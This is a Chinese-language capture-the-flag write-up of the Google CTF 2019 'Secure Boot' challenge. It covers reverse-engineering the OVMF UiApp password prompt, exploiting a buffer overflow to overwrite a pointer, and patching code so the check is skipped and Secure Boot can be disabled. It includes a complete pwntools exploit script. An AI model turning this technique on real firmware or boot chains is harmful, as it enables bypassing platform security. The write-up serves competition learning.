Google CTF 2019 - Secure Boot 题解

题目说明

Your task is very simple: just boot this machine. We tried before but we always get ‘Security Violation’. For extra fancyness use socat -,raw,echo=0 tcp:$IP:$PORT'.

你的任务很简单:仅仅需要运行这台机器。我们尝试过,但是总得到 Security Violation(安全违规)。更花哨一点的使用方法是 socat -,raw,echo=0 tcp:$IP:$PORT

About OVMF

OVMF 是一种流行的开源 UEFI 固件,现在已经被移植到了 QEMU 上。它实现了 UEFI 的规范,因此和真实机器上的商用 UEFI 固件非常相似。

题目分析

如果直接运行官方提供的 py 文件是这个效果:

UEFI Interactive Shell v2.2
EDK II
UEFI v2.70 (EDK II, 0x00010000)
Mapping table
FS0: Alias(s):HD1a1:;BLK3:
PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)/HD(1,MBR,0xBE1AFDFA,0x3F,0xFBFC1)
BLK0: Alias(s):
PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x0)
BLK1: Alias(s):
PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x1)
BLK2: Alias(s):
PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)
BLK4: Alias(s):
PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)

If Secure Boot is enabled it will verify kernel's integrity and
return 'Security Violation' in case of inconsistency.
Booting...
Script Error Status: Security Violation (line number 5)

和题目中说的一样。

如果在这个输出之前按下 ESC 或 F12,就会有如下输出:

BdsDxe: loading Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
BdsDxe: starting Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
****************************
* *
* Welcome to the BIOS! *
* *
****************************

Password?

如果我们随便输入的话会报错。从上面的输出中我们可以看到一个重要的函数(文件?):UiApp

通过 UEFITool 工具我们可以得到下面的文件列表:

通过 UEFI Firmware Parser 工具将其分离:

uefi-firmware-parser -ecO ./OVMF.fd

我们可以在这一大串输出中定向找到 UiApp:

UiApp

File 38: 462caa21-7614-4503-836e-8ab6f4662331 type 0x09, attr 0x00, state 0x07, size 0x1beae (114350 bytes), (application)
Section 0: type 0x10, size 0x1be44 (114244 bytes) (PE32 image section)
Section 1: type 0x19, size 0x34 (52 bytes) (Raw section)
Section 2: type 0x15, size 0x10 (16 bytes) (User interface name section)
Name: UiApp
Section 3: type 0x14, size 0xe (14 bytes) (Version section section)

分析该文件,我们可以找到 Welcome to the BIOS! 字符串:

由于它是以 UTF-16LE 格式进行编码的,因此直接搜是搜不到的,搜索格式应该是 W\x00e\x00l\x00 ... 这样子的。

EFI 对输入的处理有一个数据结构:

typedef struct {
UINT16 ScanCode;
CHAR16 UnicodeChar;
} EFI_INPUT_KEY;

向前追溯可以找到某个函数,整理一下是这个样子的:

signed __int64 welcome_to_BIOS()
{
unsigned __int16 v0; // ax
char v2; // [rsp+2Ch] [rbp-BCh]
__int16 v3; // [rsp+2Eh] [rbp-BAh]
char v4; // [rsp+30h] [rbp-B8h]
char buf[128]; // [rsp+38h] [rbp-B0h]
__int64 res; // [rsp+B8h] [rbp-30h]
_QWORD *dest; // [rsp+C0h] [rbp-28h]
__int64 size; // [rsp+C8h] [rbp-20h]
unsigned __int16 i; // [rsp+D6h] [rbp-12h]
unsigned __int64 tries; // [rsp+D8h] [rbp-10h]

tries = 0i64;
size = 32i64;
puts(L"****************************\n");
puts(L"* *\n");
puts(L"* Welcome to the BIOS! *\n");
puts(L"* *\n");
puts(L"****************************\n\n");
dest = (_QWORD *)sub_11A8(32i64);
while ( tries <= 2 )
{
i = 0;
puts(L"Password?\n");
while ( 1 )
{
while ( 1 )
{
res = (*(__int64 (__fastcall **)(_QWORD, char *))(*(_QWORD *)(qword_1BC68 + 48) + 8i64))(
*(_QWORD *)(qword_1BC68 + 48),
&v2);
if ( res >= 0 )
{
if ( v3 )
break;
}
if ( res == 0x8000000000000006i64 )
(*(void (__fastcall **)(signed __int64, signed __int64, char *))(qword_1BC78 + 96))(
1i64,
*(_QWORD *)(qword_1BC68 + 48) + 16i64,
&v4);
}
if ( v3 == '\r' )
break;
if ( i <= 139u )
{
v0 = i++;
buf[v0] = v3;
}
puts("*");
}
buf[i] = 0;
puts(L"\n");
sha256((__int64)buf, i, (__int64)dest);
if ( *dest == 0xDEADBEEFDEADBEEFi64
&& dest[8] == 0xDEADBEEFDEADBEEFi64
&& dest[16] == 0xDEADBEEFDEADBEEFi64
&& dest[24] == 0xDEADBEEFDEADBEEFi64 )
{
doSomething((__int64)dest);
return 1i64;
}
puts("W");
++tries;
}
doSomething((__int64)dest);
return 0i64;
}

要求输入不多于 139 个字符,处理输入会用到 SHA256(通过某些特征数据可得)很明显要求 buf 经过哈希后得到 0xDEADBEEF 这样的数据。但很明显我们不可能得到哈希前的符合要求的数据,因此我们可以换一种方式。注意到输入是 139 而 buf 的大小只有 128,这会不会是一个溢出点呢?

我们可以溢出 12 位,接下来看一下它的栈帧:

unsigned __int16 v0; // ax
char ScanCode; // [rsp+2Ch] [rbp-BCh]
__int16 UnicodeChar; // [rsp+2Eh] [rbp-BAh]
char v4; // [rsp+30h] [rbp-B8h]
char buf[128]; // [rsp+38h] [rbp-B0h]
__int64 res; // [rsp+B8h] [rbp-30h]
_QWORD *dest; // [rsp+C0h] [rbp-28h]
__int64 size; // [rsp+C8h] [rbp-20h]
unsigned __int16 i; // [rsp+D6h] [rbp-12h]
unsigned __int64 tries; // [rsp+D8h] [rbp-10h]

很明显可以溢出到 dest 上,也就是一个任意地址写。写到哪里比较合适呢?

一种思路是写这里:

if ( *dest == 0xDEADBEEFDEADBEEFi64
&& dest[8] == 0xDEADBEEFDEADBEEFi64
&& dest[16] == 0xDEADBEEFDEADBEEFi64
&& dest[24] == 0xDEADBEEFDEADBEEFi64 )
{
doSomething((__int64)dest);
return 1i64;
}
puts((__int64)"W");
++tries;
}
doSomething((__int64)dest);
return 0i64;
}

我们看到,它在判断满足条件之后会进入一个函数然后返回 1,那么我们可不可以跳转到这里呢?看看这附近的汇编:

.text:0000000000010062                 jnz     short loc_1007B
.text:0000000000010064 mov rax, [rsp+0E8h+dest]
.text:000000000001006C mov rdi, rax
.text:000000000001006F call doSomething
.text:0000000000010074 mov eax, 1
.text:0000000000010079 jmp short done
.text:000000000001007B ; ---------------------------------------------------------------------------
.text:000000000001007B
.text:000000000001007B loc_1007B: ; CODE XREF: welcome_to_BIOS+173↑j
.text:000000000001007B ; welcome_to_BIOS+1D4↑j ...
.text:000000000001007B lea rcx, strWrong ; "W"
.text:0000000000010082 call puts
.text:0000000000010087 add [rsp+0E8h+tries], 1
.text:0000000000010090
.text:0000000000010090 loop_f: ; CODE XREF: welcome_to_BIOS+73↑j
.text:0000000000010090 cmp [rsp+0E8h+tries], 2
.text:0000000000010099 jbe loc_FEC8
.text:000000000001009F mov rax, [rsp+0E8h+dest]
.text:00000000000100A7 mov rdi, rax
.text:00000000000100AA call doSomething
.text:00000000000100AF mov eax, 0

看上去很容易被利用哎:比较的最后一个跳转位于 0x10062,只需要在 0x1007B 处跳转到 0x10064 处就可以了!我们再看一下当前进程的 map:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x0 0x400000 rwxp 400000 0
0x63df000 0x6bdf000 rwxp 800000 0
0x6f2d000 0x772d000 rwxp 800000 0
0x7730000 0x7f30000 rwxp 800000 0
0x7ec0000 0x82c1000 rwxp 401000 0 [stack]
0x69326000 0x69b26000 rwxp 800000 0
0x6c246000 0x6ca46000 rwxp 800000 0
0x742e7000 0x74ae7000 rwxp 800000 0
0x752e6000 0x75ae6000 rwxp 800000 0
0x94af5000 0x952f5000 rwxp 800000 0
0x230246000 0x230a46000 rwxp 800000 0
0x2b808c000 0x2b888c000 rwxp 800000 0
0x7ebd7d000 0x7ec57d000 rwxp 800000 0

全都是 rwxp!我们可以进行任意的修改操作。跳转的距离就是 0x7B - 0x64 = 0x17。所以任意写的过程中,使得修改后的汇编位 jmp $-0x17 即可在后面完成跳转。

接下来就是调试啦,我们要找到真实的环境中相应汇编的位置。

调试

run.pyqemu 的一大串参数中加入 -s 参数,之后就可以本地通过 gdb target remote localhost:1234 进行调试了。细节就不多说了,由于它会对输入也有一个处理,在进入输入函数之后通过 gdb 连接,此时位于输入处理函数中。我们看 stack,在 rsp + 120 的位置能看到返回地址

对应的是 IDA 中的

.text:000000000000FF5E                 jmp     loc_FEDE

这样我们就可以通过偏移获得 0x1007B 的位置:0x1007B - 0xFF5E + 0x67DAF5E = 0x67DB07B。

接下来我们要编写 payload 了。由于其中会进行一次 SHA256,因此我们要让 SHA256 的输出等于 payload:

from pwn import *
import hashlib
import binascii

target = 0x67db07b

def find_sha(myasm):
for i in xrange(1000000):
payload = str(i)
payload = payload.ljust(128, 'a')
payload += '\x00' * 8 # 截断
payload += p32(target)
if binascii.unhexlify(hashlib.sha256(payload).hexdigest())[0:len(myasm)] == myasm:
print('[1] payload: ', payload)
payload = str(i)
payload = payload.ljust(136, 'a')
payload += p32(target)
print('[2] payload: ', payload)
return payload

find_sha(asm('jmp $-0x17'))

这样我们就构造好了 payload。开始寻找的时候为什么要用 payload += 'x00'*8 呢?因为我们覆盖了 res 那一部分,而 res 的值是会随着输入而变化的,因此第 128 位到 136 位都会被修改位为 NULL。而后面将这里填充可能是输入函数不会处理 \x00 这样的值,所以我们还得补充上去。

我们调试一下。下面汇编位置在输入后, Hash 函数之前。

.text:000000000000FF6E                 movzx   eax, [rsp+0E8h+i]
.text:000000000000FF76 cdqe
.text:000000000000FF78 mov [rsp+rax+0E8h+buf], 0

0xFF6E 对应的下断点地址空间是:0x67DAF6E。

假如我们的输入是:'1'*128+'23456789abcd',调试之后会发现栈中的内容是这样的:

很明显 23456789 的部分被截断了。

最后,完整的 payload 构造如下:

from pwn import *
import hashlib
import binascii
import os
import tempfile

target = 0x67db07b

context(os='linux',arch='amd64') #,log_level='debug')

def find_sha(myasm):
for i in xrange(1000000):
payload = str(i)
payload = payload.ljust(128, 'a')
payload += '\x00' * 8
payload += p32(target)
if binascii.unhexlify(hashlib.sha256(payload).hexdigest())[0:len(myasm)] == myasm:
print('[1] payload: ', payload)
print(hashlib.sha256(payload).hexdigest())
payload = str(i)
payload = payload.ljust(136, 'a')
payload += p32(target)
print('[2] payload: ', payload)
print(hashlib.sha256(payload).hexdigest())
return payload

def exploit(p):
p.sendafter('2J',"\x1b\x5b\x32\x34\x7e"*10)
payload = find_sha(asm("jmp $-0x17"))
payload += "\r"

p.sendafter("Password?", payload)
p.interactive()

def local():
fname = tempfile.NamedTemporaryFile().name
os.system("cp OVMF.fd %s" % (fname))
os.system("chmod u+w %s" % (fname))

# os.system("qemu-system-x86_64 -s -monitor /dev/null -m 128M -drive if=pflash,format=raw,file=%s -drive file=fat:rw:contents,format=raw -net none -nographic 2> /dev/null" % (fname))
p = process(['qemu-system-x86_64','-s','-m','128M','-drive','if=pflash,format=raw,file='+fname,'-drive','file=fat:rw:contents,format=raw','-net','none','-nographic'], env={})
exploit(p)
os.system("rm -rf %s" % (fname))

if __name__ == "__main__":
# p = remote("secureboot.ctfcompetition.com", 1337)
local()

直接用 pwntools 的输出的话很坑,但是题目中也提供了一种输出方式。

本地调试:

socat -,raw,echo=0 SYSTEM:"python ./payload.py"

可以看到,它提供了一个不错的界面。我们进入 Device Manager,进入 Secure Boot Configuration,关闭 Attempt Secure Boot,保存退出即可。

最终即可得到 flag:

总结

虽然看上去有点麻烦,但是仔细分析的话它的漏洞其实很容易利用。。不过我好菜啊,看了两天。。最后还把虚拟机搞崩了,但是 WSL 还能用,太舒服了。。

工具收集

UEFI Firmware Parser

UEFITool

参考文章

Secure Boot - Google CTF 2019 Quals

2019-06-22-Google-CTF-Quals

UEFI

OVMF

efi__console_8c_source

XTerm Control Sequences

Everything you never wanted to know about ANSI escape codes

【pwn】诡异的movsx和cdqe

文章作者: 40m41h42t
文章链接: http://qrzbing.cn/2019/07/22/googlectf2019-secureboot/
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